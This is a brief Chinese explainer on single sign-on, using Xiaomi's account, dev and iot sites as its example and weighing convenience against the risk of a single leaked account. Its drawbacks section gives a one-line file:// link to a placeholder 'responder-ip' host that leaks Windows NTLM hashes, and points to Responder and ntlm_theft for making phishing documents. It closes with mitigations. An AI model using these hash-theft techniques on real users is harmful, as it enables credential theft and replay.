什么是单点登录
说个简单场景:
在account.xiaomi.com输入账号密码登录之后,①打开dev.mi.com并点击登录,这时候不需要再次输入账号密码就可以登录;②打开iot.mi.com并点击登录,也不需要再次输入账号密码就可以登录
这就是单点登录,dev/iot均使用了account账号体系,只需要登录一次
(不过在dev或iot注销登录之后,account也会被注销,这个逻辑显得有点奇怪)
单点登录可复用的技术有oauth/saml等
好处
最明显的好处就是使用方便,免去了多次输入密码的麻烦。
当然还是便于账号管理,功能复用
坏处
坏处也是明显的,泄露一个账号,所有关联系统内容都被窃取
最著名的例子就是Windows的ntlm单点登录,不仅容易泄露,而且可以重放
简单的file://responder-ip/xx/xx.png链接就会将hash泄露到responder-ip服务器上:responder工具
ntlm格式
其他 https://mgp25.com/research/infosec/Leaking-NTLM-hashes/
生成各种格式的钓鱼文档https://github.com/Greenwolf/ntlm_theft,用来窃取ntlm hash
ntlm泄露防范措施
对于外网攻击:屏蔽445端口的出口通信
对于内网攻击:非必要关闭smb协议,没有其他有效办法
另外,SSO实现过程中也会出现各种各样的安全漏洞,也算是一个小弊端